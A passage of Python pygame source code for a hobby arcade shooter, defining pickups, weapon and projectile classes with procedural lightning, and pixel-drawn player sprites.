self.stem_colour, (segment[0]), (segment[1])) else: pygame.draw.line(SCREEN, self.fork_colour, (segment[0]), (segment[1])) def update(self): pass def delete(self): if ((self.life_time * 1000) + self.initial_time) < pygame.time.get_ticks(): return True else: return False ######################################################################################################################## ######################################################################################################################## ' **** PICKUP CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class WeaponPickup(): def __init__(self, game_play_scene, x, y): self.size = 5 self.x = x self.y = y self.thickness = 0 self.colour = 100, 100, 100 self.speed = 0.5 self.type = 1 self.weapon_type = random.randint(0, len(game_play_scene.collectable_weapons) - 1) def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) def update(self): self.y += self.speed def delete(self, owner): if self.y + 3* self.size > HEIGHT: owner.pickups.remove(self) def collected(self, defender): dx = (self.x + self.size) - (defender.x + (2*defender.size / 2)) dy = self.y - (defender.y + (3*defender.size / 2)) proximity = math.hypot(dx, dy) if proximity < self.size + defender.size *4: return True class AmmoPickup(): def __init__(self, game_play_scene, x, y): self.size = 5 self.x = x self.y = y self.thickness = 0 self.colour = WHITE self.speed = 0.5 self.type = 2 self.weapon_type = random.randint(0, len(game_play_scene.weapon_inventory) - 1) self.contents = random.randint(1, 20) def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) def update(self): self.y += self.speed def delete(self, owner): if self.y + 3* self.size > HEIGHT: owner.pickups.remove(self) def collected(self, defender): dx = (self.x + self.size) - (defender.x + (defender.size / 2)) dy = self.y - (defender.y + (defender.size / 2)) proximity = math.hypot(dx, dy) if proximity < self.size + defender.size *4: return True class ExtraLife(): def __init__(self, game_play_scene, x, y): self.size = 1 self.x = x self.y = y self.thickness = 0 self.colour = 255, 150, 150 self.speed = 0.5 self.contents = random.randint(0, 3) self.type = 3 def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x , self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y- 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 4*self.size, self.size, self.thickness)) def update(self): self.y += self.speed def delete(self, owner): if self.y + 3* self.size > HEIGHT: owner.pickups.remove(self) def collected(self, defender): dx = (self.x + self.size) - (defender.x + (defender.size / 2)) dy = self.y - (defender.y + (defender.size / 2)) proximity = math.hypot(dx, dy) if proximity < self.size + defender.size*4: return True ######################################################################################################################## ######################################################################################################################## ' **** WEAPON CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class Gun(): def __init__(self, game_play_scene): self.ammo = math.inf self.fire_mode = 'semi' self.user = game_play_scene self.primary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Gun Primary Fire Sound.ogg")) self.secondary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Gun Secondary Fire Sound.ogg")) self.text = "Gun" def primary_fire(self): projectile = Projectile(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.primary_fire_sound.play(0) self.ammo -= 1 def secondary_fire(self): projectile = Projectile(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.secondary_fire_sound.play(0) self.ammo -= 1 class RocketLauncher(): def __init__(self, game_play_scene): self.ammo = 100 self.fire_mode = 'semi' self.user = game_play_scene self.primary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Rocket Launcher Primary Fire Sound.ogg")) self.secondary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Rocket Launcher Secondary Fire Sound.ogg")) self.text = "Rocket Launcher" def primary_fire(self): projectile = Rocket(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.primary_fire_sound.play(0) self.ammo -= 1 def secondary_fire(self): projectile = Rocket(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.secondary_fire_sound.play(0) self.ammo -= 1 class BombLauncher(): def __init__(self, game_play_scene): self.ammo = 100 self.fire_mode = 'semi' self.user = game_play_scene self.primary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Bomb Launcher Primary Fire Sound.ogg")) self.secondary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Bomb Launcher Secondary Fire Sound.ogg")) self.text = "Remote Bombs" def primary_fire(self): projectile = Bomb(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.primary_fire_sound.play(0) self.ammo -= 1 def secondary_fire(self): projectile = Bomb(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.secondary_fire_sound.play(0) self.ammo -= 1 class LaserGun(): def __init__(self, game_play_scene): self.ammo = 100 self.fire_mode = 'semi' self.user = game_play_scene self.primary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Laser Gun Primary Fire Sound.ogg")) self.secondary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Laser Gun Secondary Fire Sound.ogg")) self.text = "Laser Gun" def primary_fire(self): projectile = Laser(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.primary_fire_sound.play(0) self.ammo -= 1 def secondary_fire(self): projectile = Laser(self.user.defender.x, self.user.defender.y) game_play_scene.projectiles.append(projectile) self.secondary_fire_sound.play(0) self.ammo -= 1 class LightningGun(): def __init__(self, game_play_scene): self.ammo = 1000 self.fire_mode = 'auto' self.game_play_scene = game_play_scene self.primary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Lightning Gun Primary Fire Sound.ogg")) self.secondary_fire_sound = pygame.mixer.Sound(os.path.normpath("sound/Lightning Gun Secondary Fire Sound.ogg")) self.text = "Lightning Gun" def primary_fire(self): projectile = Lightning(self.game_play_scene.defender.x, self.game_play_scene.defender.y - game_play_scene.defender.size * 4, self.game_play_scene.defender.x, self.game_play_scene.defender.y - 200, lightning_blue_stem_colours(), lightning_blue_fork_colours(), math.pi * 2) game_play_scene.projectiles.append(projectile) self.primary_fire_sound.play(0) self.ammo -= 1 def secondary_fire(self): projectile = Lightning(self.game_play_scene.defender.x, self.game_play_scene.defender.y - game_play_scene.defender.size * 4, self.game_play_scene.defender.x, self.game_play_scene.defender.y - 200, lightning_red_stem_colours(), lightning_red_fork_colours(), math.pi * 2) game_play_scene.projectiles.append(projectile) self.secondary_fire_sound.play(0) self.ammo -= 1 ######################################################################################################################## ######################################################################################################################## ' **** PROJECTILE CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class Projectile: def __init__(self, x, y): self.size = 4 self.power = 1 self.angle = 0 self.x = x - self.size / 2 self.x2 = x + self.size self.y = y -25 self.colour = WHITE self.speed = 4 def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.size)) def update(self): self.y += -self.speed def position(self): return self.x, self.y, self.size def delete(self): if self.y + self.size < 0: return True else: return False class Rocket(Projectile): def __init__(self, x, y): self.x = x self.y = y self.size = 4 self.thickness = 0 self.colour = WHITE self.power = 40 self.blast_radius = 100 self.speed = 4 self.hit_detection_point = (self.x + self.size / 2), self.y self.sound = "".join(["Rocket Fire Sound ", str(random.randint(1, 4)), ".ogg"]) def display(self): pygame.draw.polygon(SCREEN, RED, ((self.x, self.y), (self.x + self.size, self.y), (self.x + self.size / 2, self.y - self.size)), self.thickness) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.size)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.size)) class Bomb(Projectile): def __init__(self, x, y): self.x = x self.y = y self.size = 4 self.thickness = 0 self.colour = WHITE self.power = 40 self.blast_radius = 100 self.speed = 4 self.hit_detection_point = (self.x + self.size / 2), self.y def display(self): pygame.draw.polygon(SCREEN, RED, ((self.x, self.y), (self.x + self.size, self.y), (self.x + self.size / 2, self.y - self.size)), self.thickness) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.size)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.size)) class Laser(Projectile): def __init__(self, x, y): self.x = x self.y = y self.size = 2 self.thickness = 30 self.colour = WHITE self.power = 40 self.blast_radius = 100 self.speed = 10 self.hit_detection_point = (self.x + self.size / 2), self.y self.sound = "Laser Fire Sound.ogg" def display(self): pygame.draw.rect(SCREEN, RED, (self.x, self.y, self.size, self.thickness)) class Lightning(): def __init__(self, x1, y1, x2, y2, stem_colour, fork_colour, angle): self.x, self.y = x2, y2 self.size = 2 self.segments = [] self.new_segments = [] self.stem_colour = stem_colour self.fork_colour = fork_colour self.life_time = random.uniform(0.01, 0.1) self.initial_time = pygame.time.get_ticks() self.power = 20 hit_radius = 3 origin_radius = 1 hit_angle = random.uniform(0, math.pi*2) x1 = x1 + origin_radius *math.sin(hit_angle) y1 = y1 - origin_radius *math.cos(hit_angle) x2 = x2 + hit_radius *math.sin(hit_angle) y2 = y2 - hit_radius *math.cos(hit_angle) size = math.hypot(x1-x2, y1-y2) i = 100 segment = [(x1, y1), (x2, y2), (size), (angle), (i), (True)] self.segments.append(segment) for n in range(5): for new_segment in self.new_segments: self.segments.append(new_segment) self.new_segments[:] = [] for segment in self.segments: x1, y1 = segment[0] x3, y3 = segment[1] size = segment[2] *0.5 xi = (x1 + x3) / 2 yi = (y1 + y3) / 2 i = segment[4] *0.5 perpendicular_angle = segment[3] -0.1 offset = random.uniform(-i, i) size1 = math.sqrt(size**2 + offset**2) x2 = xi + offset *math.sin(perpendicular_angle) y2 = yi - offset *math.cos(perpendicular_angle) angle1 = segment[3] + math.copysign(math.acos(size /size1), -offset) angle2 = segment[3] - math.copysign(math.acos(abs(offset) /size1), -offset) if segment[5]: segment1 = [(x1, y1), (x2, y2), (size1), (angle1), (i), (True)] segment2 = [(x2, y2), (x3, y3), (size1), (angle2), (i), (True)] else: segment1 = [(x1, y1), (x2, y2), (size1), (angle1), (i), (False)] segment2 = [(x2, y2), (x3, y3), (size1), (angle2), (i), (False)] self.new_segments.append(segment1) self.new_segments.append(segment2) got_fork = random.randint(1, 3) if got_fork == 3: size2 = size1 *random.uniform(0.7, 0.8) fork_angle = angle + random.uniform(-0.5, 0.5) x4 = x2 + size2 *math.sin(fork_angle) y4 = y2 - size2 *math.cos(fork_angle) segment3 = [(x2, y2), (x4, y4), (size2), (fork_angle), (i), (False)] self.new_segments.append(segment3) self.segments[:] = [] self.segments[:] = [] for segment in self.new_segments: self.segments.append(segment) def display(self): for segment in self.segments: if segment[5]: pygame.draw.line(SCREEN, self.stem_colour, (segment[0]), (segment[1])) else: pygame.draw.line(SCREEN, self.fork_colour, (segment[0]), (segment[1])) def update(self): pass def delete(self): if ((self.life_time * 1000) + self.initial_time) < pygame.time.get_ticks(): return True else: return False ######################################################################################################################## ######################################################################################################################## ' **** PLAYER CHARACTER **** ' ######################################################################################################################## ######################################################################################################################## class Defender(): def __init__(self, x, y): self.x = x self.y = y self.colour = 70, 70, 70 self.thickness = 3 self.size = 4 def display(self): #forwards facedown pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4* self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5* self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4* self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5* self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - 2*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x + self.size, self.y + 3*self.size, self.size, self.thickness)) def display_right(self): #moving left pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) def display_left(self): #moving right pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y + 2*self.size, 